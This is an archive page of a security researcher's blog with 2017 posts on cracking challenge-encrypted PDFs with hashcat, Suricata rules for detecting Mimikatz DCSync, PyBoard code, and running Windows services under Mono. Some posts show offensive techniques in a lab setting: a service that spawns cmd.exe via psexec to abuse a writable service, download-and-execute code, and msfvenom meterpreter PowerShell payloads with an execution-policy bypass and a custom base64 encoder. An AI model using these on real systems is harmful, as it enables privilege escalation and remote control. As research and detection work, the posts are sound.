Didier Stevens

Thursday 28 December 2017

Cracking Encrypted PDFs – Part 3

Filed under: Encryption,Forensics,Hacking,PDF — Didier Stevens @ 0:00

I performed a brute-force attack on the password of an encrypted PDF and a brute-force attack on the key of (another) encrypted PDF, both PDFs are part of a challenge published by John August.

The encryption key is derived from the password. it’s not just based on the password only, but also on metadata. This implies that different PDFs encrypted with the same user password, will have different encryption keys.

When you recover the user password of an encrypted PDF, you can just use it with PDF readers like Adobe Reader: they will ask you for the password, you provide it and the PDF will be decrypted and rendered.

But when you recover the key of an encrypted PDF, you can not use it with PDF reader: there is no feature that will allow you to input a key in stead of a password. The only method I knew to decrypt a PDF document with its encryption key, was to use Elcomsoft’s PDF cracking tool:

Now I worked out a second method: I modified the source code of QPDF so that it will accept encryption keys too. It’s a quick and dirty hack, I did not add a new option to QPDF but I “hijacked” the –password option. If the value to the option –password starts with string “key:”, then QPDF will not derive the key from the provided password, but it will use the key provided as hexadecimal characters. Here is how I use it to decrypt the “tough” PDF:

I also made a small modification to the –show-encryption option, to display the encryption key:

Update: I had an email exchange with Jay Berkenbilt, the author of QPDF, and he will look into this patch and possibly add a new key option to QPDF.

If you are interested in my modified version of QPDF, you can find the modified source code files and Windows binaries here:

qpdf-patched.zip (https)
MD5: 57E1A5A232E12B45D0A927181A1E8C3B
SHA256: 6F17E095B38AE72F229A6662216DDCE86057D2BA1C567B07FEF78B8A93413495

Update: this is the complete blog post series:

Wednesday 27 December 2017

Cracking Encrypted PDFs – Part 2

Filed under: Encryption,Forensics,Hacking,PDF — Didier Stevens @ 0:00

After cracking the “easy” PDF of John’s challenge, I’m cracking the “tough” PDF (harder_encryption).

Using the same steps as for the “easy” PDF, I confirm the PDF is encrypted with a user password using 40-bit encryption, and I extract the hash.

Since the password is a long random password, a brute-force attack on the password like I did in the first part will take too long. That’s why I’m going to perform a brute-force attack on the key: using 40-bit encryption means that the key is just 5 bytes long, and that will take about 2 hours on my machine. The key is derived from the password.

I’m using hashcat again, but this time with hash mode 10410 in stead of 10400.
This is the command I’m using:

hashcat-4.0.0\hashcat64.exe --potfile-path=harder_encryption.pot -m 10410 -a 3 -w 3 "harder_encryption - CONFIDENTIAL.hash" ?b?b?b?b?b

I’m using the following options:

  • –potfile-path=harder_encryption.pot : I prefer using a dedicated pot file, but this is optional
  • -m 10410 : this hash mode is suitable to crack the key used for 40-bit PDF encryption
  • -a 3 : I perform a brute force attack (since it’s a key, not a password)
  • -w 3 : I’m using a workload profile that is supposed to speed up cracking on my machine
  • ?b?b?b?b?b : I’m providing a mask for 5 bytes (I want to brute-force keys that are 40 bits long, i.e. 5 bytes)

And here is the result:

The recovered key is 27ce78c81a. I was lucky, it took about 15 minutes to recover this key (again, using GPU GeForce GTX 980M, 2048/8192 MB allocatable, 12MCU). Checking the complete keyspace whould take a bit more than 2 hours.

Now, how can we decrypt a PDF with the key (in stead of the password)? I’ll explain that in the next blog post.

Want a hint? Take a look at my Tweet!

Update: this is the complete blog post series:

Tuesday 26 December 2017

Cracking Encrypted PDFs – Part 1

Filed under: Encryption,Forensics,Hacking,PDF — Didier Stevens @ 17:15

In this series of blog posts, I’ll explain how I decrypted the encrypted PDFs shared by John August (John wanted to know how easy it is to crack encrypted PDFs, and started a challenge).

Here is how I decrypted the “easy” PDF (encryption_test).

From John’s blog post, I know the password is random and short. So first, let’s check out how the PDF is encrypted.

pdfid.py confirms the PDF is encrypted (name /Encrypt):

pdf-parser.py can tell us more:

The encryption info is in object 26:

From this I can conclude that the standard encryption filter was used. This encryption method uses a 40-bit key (usually indicated by a dictionary entry: /Length 40, but this is missing here).

PDFs can be encrypted for confidentiality (requiring a so-called user password /U) or for DRM (using a so-called owner password /O). PDFs encrypted with a user password can only be opened by providing this password. PDFs encrypted with a owner password can be opened without providing a password, but some restrictions will apply (for example, printing could be disabled).

QPDF can be used to determine if the PDF is protected with a user password or an owner password:

This output (invalid password) tells us the PDF document is encrypted with a user password.

I’ve written some blog posts about decrypting PDFs, but because we need to perform a brute-force attack here (it’s a short random password), this time I’m going to use hashcat to crack the password.

First we need to extract the hash to crack from the PDF. I’m using pdf2john.py to do this. Remark that John the Ripper (Jumbo version) is now using pdf2john.pl (a Perl program), because there were some issues with the Python program (pdf2john.py). For example, it would not properly generate a hash for 40-bit keys when the /Length name was not specified (like is the case here). However, I use a patched version of pdf2john.py that properly handles default 40-bit keys.

Here’s how we extract the hash:

This format is suitable for John the Ripper, but not for hashcat. For hashcat, just the hash is needed (field 2), and no other fields.

Let’s extract field 2 (you can use awk instead of csv-cut.py):

I’m storing the output in file “encryption_test – CONFIDENTIAL.hash”.

And now we can finally use hashcat. This is the command I’m using:

hashcat-4.0.0\hashcat64.exe --potfile-path=encryption_test.pot -m 10400 -a 3 -i "encryption_test - CONFIDENTIAL.hash" ?a?a?a?a?a?a

I’m using the following options:

  • –potfile-path=encryption_test.pot : I prefer using a dedicated pot file, but this is optional
  • -m 10400 : this hash mode is suitable to crack the password used for 40-bit PDF encryption
  • -a 3 : I perform a brute force attack (since it’s a random password)
  • ?a?a?a?a?a?a : I’m providing a mask for 6 alphanumeric characters (I want to brute-force passwords up to 6 alphanumeric characters, I’m assuming when John mentions a short password, it’s not longer than 6 characters)
  • -i : this incremental option makes that the set of generated password is not only 6 characters long, but also 1, 2, 3, 4 and 5 characters long

And here is the result:

The recovered password is 1806. We can confirm this with QPDF:

Conclusion: PDFs protected with a 4 character user password using 40-bit encryption can be cracked in a couple of seconds using free, open-source tools.

FYI, I used the following GPU: GeForce GTX 980M, 2048/8192 MB allocatable, 12MCU

Update: this is the complete blog post series:

Sunday 8 October 2017

Quickpost: Mimikatz DCSync Detection

Filed under: Hacking,Networking,Quickpost — Didier Stevens @ 22:40

Benjamin Delpy/@gentilkiwi’s Brucon workshop on Mimikatz inspired me to resume my work on detecting DCSync usage inside networks.

Here are 2 Suricata rules to detect Active Directory replication traffic between a domain controller and a domain member like a workstation (e.g. not a domain controller):


alert tcp !$DC_SERVERS any -> $DC_SERVERS any (msg:"Mimikatz DRSUAPI"; flow:established,to_server; content:"|05 00 0b|"; depth:3; content:"|35 42 51 e3 06 4b d1 11 ab 04 00 c0 4f c2 dc d2|"; depth:100; flowbits:set,drsuapi; flowbits:noalert; reference:url,blog.didierstevens.com; classtype:policy-violation; sid:1000001; rev:1;)
alert tcp !$DC_SERVERS any -> $DC_SERVERS any (msg:"Mimikatz DRSUAPI DsGetNCChanges Request"; flow:established,to_server; flowbits:isset,drsuapi; content:"|05 00 00|"; depth:3; content:"|03 00|"; offset:22; depth:2; reference:url,blog.didierstevens.com; classtype:policy-violation; sid:1000002; rev:1;)

Variable DC_SERVERS should be set to the IP addresses of the domain controllers.

The first rule will set a flowbit (drsuapi) when DCE/RPC traffic is detected to bind to the directory replication interface (DRSUAPI).

The second rule will detect a DCE/RPC DsGetNCChanges request if the flowbit drsuapi is set.

These rules were tested in a test environment with normal traffic between a workstation and a domain controller, and with Mimikatz DCSync traffic. They were not tested in a production network.


Quickpost info


Saturday 16 September 2017

PyBoard LCD160CR Text Scrolling Window 8

Filed under: Hacking,Hardware — Didier Stevens @ 13:38

I used my PyBoard microcontroller + LCD160CD screen as a name tag at 44CON.

I had to do some research, as I could not find example code to get the text scrolling working. The key to the solution was to set the direction to 2 (-x).

This is the code I put in main.py:

# main.py -- put your code here!

# Didier Stevens 2017/09/13 https://DidierStevens.com

# https://docs.micropython.org/en/latest/pyboard/library/lcd160cr.html
import lcd160cr

# http://micropython.org/resources/LCD160CRv10-refmanual.pdf page 7
def LCDVector(frame_mode, direction, step):
    return frame_mode << 15 | direction << 12 | step

# http://micropython.org/resources/LCD160CRv10-refmanual.pdf page 8
def LCDFont(pixel_replication, soft_scroll_flag, transparency_flag, font_number, horizontal_bold_offst, vertical_bold_offst):
    return pixel_replication << 8 | soft_scroll_flag << 7 | transparency_flag << 6 | font_number << 4 | horizontal_bold_offst << 2 | vertical_bold_offst

lcd = lcd160cr.LCD160CR('X')
lcd.set_orient(lcd160cr.PORTRAIT)
lcd.set_scroll_buf('Didier NVISO.BE ')
lcd.set_scroll_win(8, 0, 0, 128, 128, LCDVector(0, 2, 4), LCDFont(7, 0, 0, 3, 0, 0), 0x0000, 0xFFFF)
lcd.set_scroll(1)

Thursday 7 September 2017

Running Windows Services on Linux with Mono

Filed under: Hacking — Didier Stevens @ 0:00

I knew you could run .NET executables on Linux with Mono, but I didn’t know you could run services too.

For example, this program to download and start a file works on Windows, Linux and OSX:

namespace Demo
{
    static class Program
    {
        const string url = @"https://example.com";
        const string filename = @"example.txt";

        static void Main()
        {
            string tempfilename = System.IO.Path.Combine(System.IO.Path.GetTempPath(), filename);
            (new System.Net.WebClient()).DownloadFile(url, tempfilename);
            System.Diagnostics.Process.Start(tempfilename);
        }
    }
}

Services can be executed too on Mono, I discovered that when I launched service.exe:

As I just installed mono-devel, mono-service was not installed. For that, I need the complete Mono: sudo apt-get install mono-complete

And then I can run service.exe (which launches ping 127.0.0.1):

Wednesday 6 September 2017

Compiling a Windows Service With Mono on Kali

Filed under: Hacking — Didier Stevens @ 0:00

The Windows service I used in my previous blog post can also be compiled on Kali (or other Linux distros or OSX) using Mono.

First I install Mono on Kali: sudo apt-get install mono-devel

Then I can use Mono’s C# compiler mcs. Unlike .NET’s C# compiler csc.exe, mcs requires a reference to compile a Windows service:

mcs -reference:System.ServiceProcess.dll service.cs

 

Tuesday 5 September 2017

Abusing A Writable Windows Service

Filed under: Hacking — Didier Stevens @ 0:00

A friend had a problem: he found a Windows service with a writable executable (e.g. writable by a non-admin user), replaced it with a copy of cmd.exe, but got no prompt.

This is because of 2 reasons.

First, a Windows service is a Windows executable (PE file) that must be able to interact with the Services Control Manager when the SCM loads the executable. Since cmd.exe does not have the capability to interact with the SCM, the SCM will quickly stop the cmd.exe executable. On my Windows VM, cmd.exe ran only 200 milliseconds when launched by the SCM.

Here you can see how the SCM reacts when it launches cmd.exe:

This problem can be solved by creating a Windows service executable that launches cmd.exe upon starting. Creating such a Windows service with .NET is easy, here is the minimum C# source code for a service that launches cmd.exe upon starting:

using System.ServiceProcess;

namespace Demo
{
    public class Service : ServiceBase
    {
        protected override void OnStart(string[] args)
        {
            System.Diagnostics.Process.Start("cmd.exe");
        }
    }

    static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }
}

cmd.exe will be running, but we will still not have a console window. This is because of the second reason: Windows services run in session 0 and session 0 does not allow user interfaces. So cmd.exe runs in session 0 and my friend’s user account runs in session 1. If we can make cmd.exe run in session 1, then my friend can interact with the console.

There is a quick solution for this: psexec. With psexec’s option -i, one can specify in which session the program launched by psexec must run.
So our minimal code for a service becomes:

using System.ServiceProcess;

namespace Demo
{
    public class Service : ServiceBase
    {
        protected override void OnStart(string[] args)
        {
            System.Diagnostics.Process.Start(@"c:\demo\psexec.exe", @"-accepteula -d -i 1 cmd.exe");
        }
    }

    static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }
}

This simple service can be compiled with the C# compiler csc.exe:

In this example, I install the service with command “sc create Service type= own binpath= c:\demo\Service.exe”, but of course, my friend did not have to do this (this requires admin rights), he just had to replace the service’s executable:

When I first tried this, it did not work. Looking through procmon‘s logs for service.exe, I saw that the psexec executable was never loaded. At the end of the logs, I saw references to smartscreen.exe, and then quickly thereafter, service.exe stopped running. That’s when it dawned on me: when I downloaded psexec, I left the mark-of-web on the file. SmartScreen did now allow psexec to run because it was downloaded from the Internet. After removing that mark, it all ran without problem.

 

Saturday 26 August 2017

Quickpost: Metasploit PowerShell BASE64 Commands

Filed under: Hacking,Quickpost — Didier Stevens @ 21:29

I wanted to generate some BASE64 encoded PowerShell commands (i.e. with option -EncodedCommand) for analysis with my tool base64dump.py, thus I turned to Metasploit to generate these commands.

Here is the list of encoders:

It looks like cmd/powershell_base64 is what I’m looking for.

I couldn’t get the results that I wanted with this encoder, so I took a look at the source code:

This encoder will actually encode commands you pass to cmd.exe, and not PowerShell scripts.

I wanted an encoder for PowerShell scripts, like this simple PowerShell script to display a message box:

Add-Type -AssemblyName PresentationFramework
[System.Windows.MessageBox]::Show('Hello from PowerShell!')

Or even simpler:

Write-Host "Hello from PowerShell!"

And at this point, I really got sidetracked…

I coded my own encoder (based on the powershell_base64 encoder):

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Encoder
  Rank = NormalRanking

  def initialize
    super(
      'Name'             => 'Powershell Base64 Script Encoder',
      'Description'      => %q{
        This encodes a PowerShell script as a base64 encoded script for PowerShell.
      },
      'Author'           => 'Didier Stevens',
      'Arch'             => ARCH_CMD,
      'Platform'         => 'win')

    register_options([
      OptBool.new('NOEXIT', [ false, 'Add -noexit option', false ]),
      OptBool.new('SYSWOW64', [ false, 'Call syswow64 powershell', false ])
    ])

  end

  #
  # Encodes the payload
  #
  def encode_block(state, buf)
    base64 = Rex::Text.encode_base64(Rex::Text.to_unicode(buf))
    cmd = ''
    if datastore['SYSWOW64']
      cmd += 'c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe '
    else
      cmd += 'powershell.exe '
    end
    if datastore['NOEXIT']
      cmd += '-NoExit '
    end
    cmd += "-EncodedCommand #{base64}"
  end
end

To install my encoder, I created folder powershell inside folder C:\metasploit\apps\pro\vendor\bundle\ruby\2.3.0\gems\metasploit-framework-4.15.4\modules\encoders (that’s on Windows) and copied my encoder base64.rb into it.

That’s all that is needed to make it available:

And now I can just use it with msfvenom, for example:

 

–payload – indicates that the payload has to be taken from stdin.

What I have no explanation for, is why on Windows input redirection does not work while piping works:

Echo works too:

With this encoder, I can encode a PowerShell script generated with msfvenom, like this:

The first msfvenom command will generate a powershell script with 32-bit shellcode for a meterpreter shell. The second msfvenom command will encode this command into a BASE64 PowerShell command. Option NOEXIT adds -NoExit to the PowerShell command, and option SYSWOW64 uses 32-bit powershell.exe on 64-bit Windows.

As the generated code was too long for the command line, I had to use option –smallest with the first msfvenom command to reduce the size of the script.

Here is the generated command:

And here is the execution:

More info:

 


Quickpost info


Wednesday 16 August 2017

Generating PowerShell Scripts With MSFVenom On Windows

Filed under: Hacking — Didier Stevens @ 20:46

To generate a PowerShell script with msfvenom on Windows, use the command “msfvenom.bat –payload windows/x64/meterpreter_reverse_http –format psh –out meterpreter-64.ps1 LHOST=127.0.0.1”:

The payload windows/x64/meterpreter_reverse_http is the Meterpreter payload for 64-bit Windows. Format psh is the format to use to generate a PowerShell script that will execute the payload (formats ps1 and powershell are transform formats, they do not generate a script that executes the payload).

A 32-bit payload is generated with this command “msfvenom.bat –payload windows/meterpreter_reverse_http –format psh –out meterpreter-32.ps1 LHOST=127.0.0.1”:

Just as I showed in my post for .exe payloads, we start a handler like this:

Now we need to execute the PowerShell scripts. Just executing “powershell.exe -File meterpreter-64.ps1” will not work:

By default, .ps1 files are not executed. We can execute them by bypassing the policy “powershell.exe -ExecutionPolicy Bypass -File meterpreter-64.ps1”:

In this example, 948 is the handle to the thread created by CreateThread when the payload is executed.

But back in the Metasploit console, you will not see a connection. That’s because the PowerShell process terminates before the Meterpreter payload can fully execute: powershell.exe executes the script, which loads the Meterpreter payload in the powershell process, and then powershell.exe exits, e.g. the powershell process is terminated and thus the Meterpreter payload too.

To give the Meterpreter payload the time to establish a connection, the powershell process must remain alive. We can do this by preventing powershell.exe to exit with option -NoExit:

Now we get a connection:

This example was for a 64-bit payload on a 64-bit Windows machine.

The same command is used to execute the 32-bit payload on a 32-bit Windows machine (except for the filename, which is meterpreter-32.ps1 in our example).

To execute the 32-bit payload on a 64-bit Windows machine, we need to start 32-bit PowerShell, like this “c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoExit -File meterpreter-32.ps1”:

This gives us 2 sessions:

« Previous PageNext Page »

Blog at WordPress.com.